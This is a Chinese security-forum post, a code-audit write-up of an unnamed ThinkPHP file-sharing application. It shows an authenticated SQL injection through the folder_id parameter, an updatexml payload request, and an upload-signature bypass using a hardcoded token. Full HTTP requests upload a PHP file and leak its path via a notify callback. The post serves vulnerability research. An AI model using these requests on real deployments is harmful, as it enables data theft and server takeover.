问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次0.5day分析
渗透测试
转载
前言 == 本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: `Zjacky` 转载原文链接为https://xz.aliyun.com/t/13868 审计 == 路由分析 ---- 首先这里明眼人一看就知道在`application`这个目录下,可以抓登录的接口或者注册的接口或者进去后的接口来判断对应的代码之后登录进去寻找文件 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-e12f3a52cc95eb2752d06803a4a8a1c8b90b3f9e.png) ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-b0b035fd761d08b68d8031e4f702c7e431e813c3.png) 路由很少,所以很明显看出我们登录的`/user/login/`对应的是`index`目录下的`User.php`的`login`方法 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-6c2b13389f58395d98035fb141a482509b707025.png) 后台SQL注入 ------- emm本来想看前台的,但是大部分是存在鉴权代码的 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-b28b8f81567a9caed30bab72a975837e382e6042.png) `$this->userInfo['id']` 由于是TP的框架,所以先来回顾下TP的`where`语句 ![7a43a6589314728fd86a0126f8c3288](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8f009dff159d2406b596f15fd287f91bf1a978c1.png) 在TP框架中,大部分的SQL查询都是做了参数绑定的,如下图所示 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-be371a563954f0d5510017f8b6f2a99aae4e9767.png) 这里的`$code`就是做了参数绑定,但是一开始去试着访问的时候发现是 `404` 并且返回非法请求 然后参考了下这篇文章 发现原来可能存在路由定义的问题 <https://www.kancloud.cn/z8859346/thinkphp/1747811> 找到`/route/route.php` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-69c62328ee3979d4eb89b59629cbb6a1e15cc98a.png) 发现对`index`这个模块进行了定义,所以要根据他的规则来进行访问,只要访问了`/s:code`就会去访问`index/share`方法 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-de94ddb2659ac53a1e04d09d411777b18f7c1c07.png) 但因为`:code`进行了占位符 所以相当于绑定了参数无法进行注入 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-9a79cf0c9b3e14eed2676556e6be6772edc445c2.png) 所以这些点都不存在SQL注入 于是转向了后台 跟踪到index的file文件,发现了`list()`方法这里接受几个可控的 参数`foloder.id`、`search`,进入到`FileManager#listFile()`方法中 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-fff22f66d56c77f457ab5aa0f9331996b1aa3338.png) 主要是因为`listfile()`这个命名还是很大可能会跟数据库有关联的,所以跟进下 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7ffc6373ae1369c41e0c64c24bf705e61c0a8148.png) 这`listFile`这个方法里面,他会先执行`self`类里面的`getfolderPid`这个方法,并且传入`$folder_id` 再次跟进 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a777b702742c4a343b783277a5c034ab8406645e.png) 我们传入的内容不为空,所以传了啥返回啥,接下来往下走就是整个SQL的一个坑点了 ### 坑点 接着就是数组的形式进行赋值 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7adf1e731a8bcfff668a320f0d22666ffe8b263f.png) 那么现在问题来了,他是以数组的形式去进行sql查询,那么可能存在sql的点吗?我们来进行mysql的监控 代码如下,先是单数组正常使用`select`查询 ```php $ttt = db('stores') ->where(['parent_folder'=>$folder_id]) ->where('origin_name','like','%'.$search.'%') ->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time') ->select(); var_dump($ttt); die(); ``` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-59e64b9eab1d253c462b4d870ac4e2215f52f7ea.png) 发现正常转义了,那么双数组跟三数组也是一样到效果,那么这里就得到一个结论,并不是因为数组的拼接问题所导致的sql注入,那么细心的话可以发现,我的代码其实跟原始代码是有一定的区别的,就是并没有加入一个关键代码 ```php ->fetchSql(true) ``` 这里来解释一下`fetchSql` 方法 > <span style="font-weight:bold;">fetchSql</span> 方法在 ThinkPHP 框架中(以及其他可能支持该功能的框架或数据库操作类)的主要作用是获取即将执行的 SQL 查询语句,而不是真正执行这个查询。当你调用 <span style="font-weight:bold;">fetchSql(true)</span> 时,框架会生成对应的 SQL 语句并返回,但并不会执行该 SQL 啥意思呢,来看数据库监控 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-e23041aa795e3c2e3f8f279902fa0016833de0dd.png) 可以发现数据库监控仅仅只是输出了一条 展示字段的SQL语句 ```sql SHOW COLUMNS FROM `sk_stores` ``` 那其实就是因为他压根就没有进行查询我们的`where`条件 ---> 这其实就也印证了我之前一直说 并没有在数据库监控中看到这些查询语句,是因为使用了`fetchSql(true)` 那么接下来既然是没有进行SQL语句的执行的,那么也就是我们现在的`$files_sql`是一条尚未执行的SQL语句,我们来打印一下看看 ```php string(221) "SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE `uid` = 10 AND `parent_folder` = 3' AND `delete_time` IS NULL AND `origin_name` LIKE '%aa%'" ``` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8294da2d13aee23a22b49fed84d352d0e57aa2d5.png) 正是因为没有带入数据库查询,所以里面的特殊符号比如`'`就并没有参数绑定或者预编译或者转义,而最终产生SQL注入的万恶之源,正是下方的`union` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-28c48065cd54867a060a0cdae6dabf9afcf98118.png) ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a9374f21a06090c1d7341e899b1cf5f24daf0c85.png) ```sql SELECT `id`,`uid`,`shares_id`,folder_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_folders` WHERE `uid` = 10 AND `parent_folder` = '3' AND `delete_time` IS NULL AND `folder_name` LIKE '%aa%' UNION ALL ( SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE `uid` = 10 AND `parent_folder` = 3 AND `delete_time` IS NULL AND `origin_name` LIKE '%aa%' ) LIMIT 0,20 ``` 所以最终的结果就是因为通过了`union`去拼接起来了,所以才导致了SQL注入的产生,破案了 最终报文如下 ```xml GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1 Host: wp.com Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Content-Type: application/json Referer: http://wp.com/user/index Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=21cpn2h5jqf7e47k8dtlrhnmk4 Connection: close ``` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-e853051b6b38837e1419054cda78a97be1b64bf0.png) 文件上传 ---- 首先全局搜索`move_uploaded_file`函数,发现`public/server/index.php`文件引用该函数 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-1bc0abdf36691bdca5758723c071685b153be61c.png) 之后便发现这个方法是一个`protected`权限来修饰,所以这个方法直接调用不成功 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-91f04dd133b1a592dd1069fd1e00aa060f0f037b.png) 之后就要去观看这个文件被谁来调用 发现是`\public\server\index.php#start()`调用了,刚好是符合`protected`属性的 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-de94ddb2659ac53a1e04d09d411777b18f7c1c07.png) 但是往上看发现存在验签操作 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-2d5baa3f742eece551dd2af34b43c540e558e82d.png) 发现是存在两个传参,`$command` `$sign` 并且是需要验签的,那我们跟进`sign_verify`看看 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-fd2b12af22d20e59f6633af6dbc059d1c7069868.png) 继续跟进`sign_params` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-6cae4d0602f493bb3c07bf6ef603cf69fcbb22a0.png) 如果不理解我们可以写个demo本地测试下 首先流程如下 ```bash 我们传入的HTTP参数 这个数组的hash == 我们sign传入的hash ``` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4ec2446afa7298f113f5b8d32d45b48b28740152.png) 他会把我们传入的`$sign`不作为`$params`去传参 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7910844e04ddd4406d6e5879c547063eaca95ae2.png) 那么逻辑就清楚了就是我们`GET`传参的内容跟我们`token`传入的内容进行拼接且MD5的值跟我们`$sign`要相同 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-790199af5904dc8f4cb4a68868e90b66c0a27414.png) 如果验签成功,就能够进入到`upload`的逻辑中 之后就调用`upload_file`这个函数,这个函数我也说了,他是调用`move_uplaoded_file`函数进行上传的,他接受一个参数`uid`的值 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-db1c382874594166a2bb3764c95910bd616f7956.png) 那么在这里我们就尝试进行复现,当刚打开BP我就发现问题了,emmm在上述的demo中我是写死了拼接的字符串的,但是远程是`$this->config['token']` 拼接这个东西啊,所以跟进一下这个`$config`的内容,发现在最下面就定义了token的内容为`asdasfasfasfasfasfa` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-997343409de61a5b12d9010cc33c9329a15cb4cc.png) 那么就可以直接生成`sign`了 ```php <?php echo md5("md=upload&uid=1asdasfasfasfasfasfa");?> ``` 那么继续复现 ```bash POST /server/index.php/start?md=upload&uid=1&sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1 Host: wp.com Cache-Control: no-cache Accept: */* Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427 User-Agent: PostmanRuntime-ApipostRuntime/1.1.0 Content-Length: 389 ----------------------------570796120375390059114427 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/x-httpd-php <?php phpinfo(); ?> ----------------------------570796120375390059114427-- ``` 上传后返回如下 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-40102501a29978da3c3f658a8840b6285b615378.png) 解码后为 同步错误 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-b81c8a56511a010de9aefda381da8ec947c73aac.png) 来看看源码 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-96454e45946f016a207bd9e387f7042cbff79dbf.png) 发现已经上传了,但是咱不知道上传路径啊。。。找一下本地可以发现在这里 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-6e25a924ea23c6a211f1340387a0b8b99b892cc2.png) 但是如何找路径呢,可以关注到后续还有一串代码 ```php $res = $this->upload_notify($_GET['notify'],$info); ``` 我将`$info`打印了下发现已经存入了上传的路径了 ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-71b1e52d50d574394d8ff9ea01375d2dcc907fb7.png) 跟进下`upload_notify` 发现跟SSRF一样可以向外请求并且带上我们的`$info` --------> 这感觉写的就怕我找不到路径似的,这里的验签压根就不需要管他,因为文件都传上去了,无所谓了,只需要路径,而他也并没有判断验签对不对(如果校验了,就没办法上传了,因为`$info`是未知的) ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-9446202c7fbcea4e26fdb553269389ea779a2bb7.png) 于是带好参数写好验签即可成功触发 ```php echo md5("md=upload&notify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa"); ``` ![image](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-76b85f282b13318bca4f87cda49fcb44ef2db4c1.png) ```xml POST /server/index.php/start?md=upload&uid=1&notify=http://127.0.0.1:8877/&sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1 Host: wp.com Cache-Control: no-cache Accept: */* Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427 User-Agent: PostmanRuntime-ApipostRuntime/1.1.0 Content-Length: 389 ----------------------------570796120375390059114427 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/x-httpd-php <?php phpinfo(); ?> ----------------------------570796120375390059114427-- ``` 总结 == 1. 多扣代码多调试才行,一步一步来 2. 有些时候框架忘记或者不熟悉还是要多仔细看看才行
发表于 2024-04-24 10:00:01
阅读 ( 3702 )
分类:
代码审计
1 推荐
收藏
2 条评论
迷路的人
2024-04-26 10:05
大佬,可以告诉一下我,你这个看代码的工具是什么不
Zacky
回复
迷路的人
phpstorm
请先
登录
后评论
请先
登录
后评论
Zacky
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!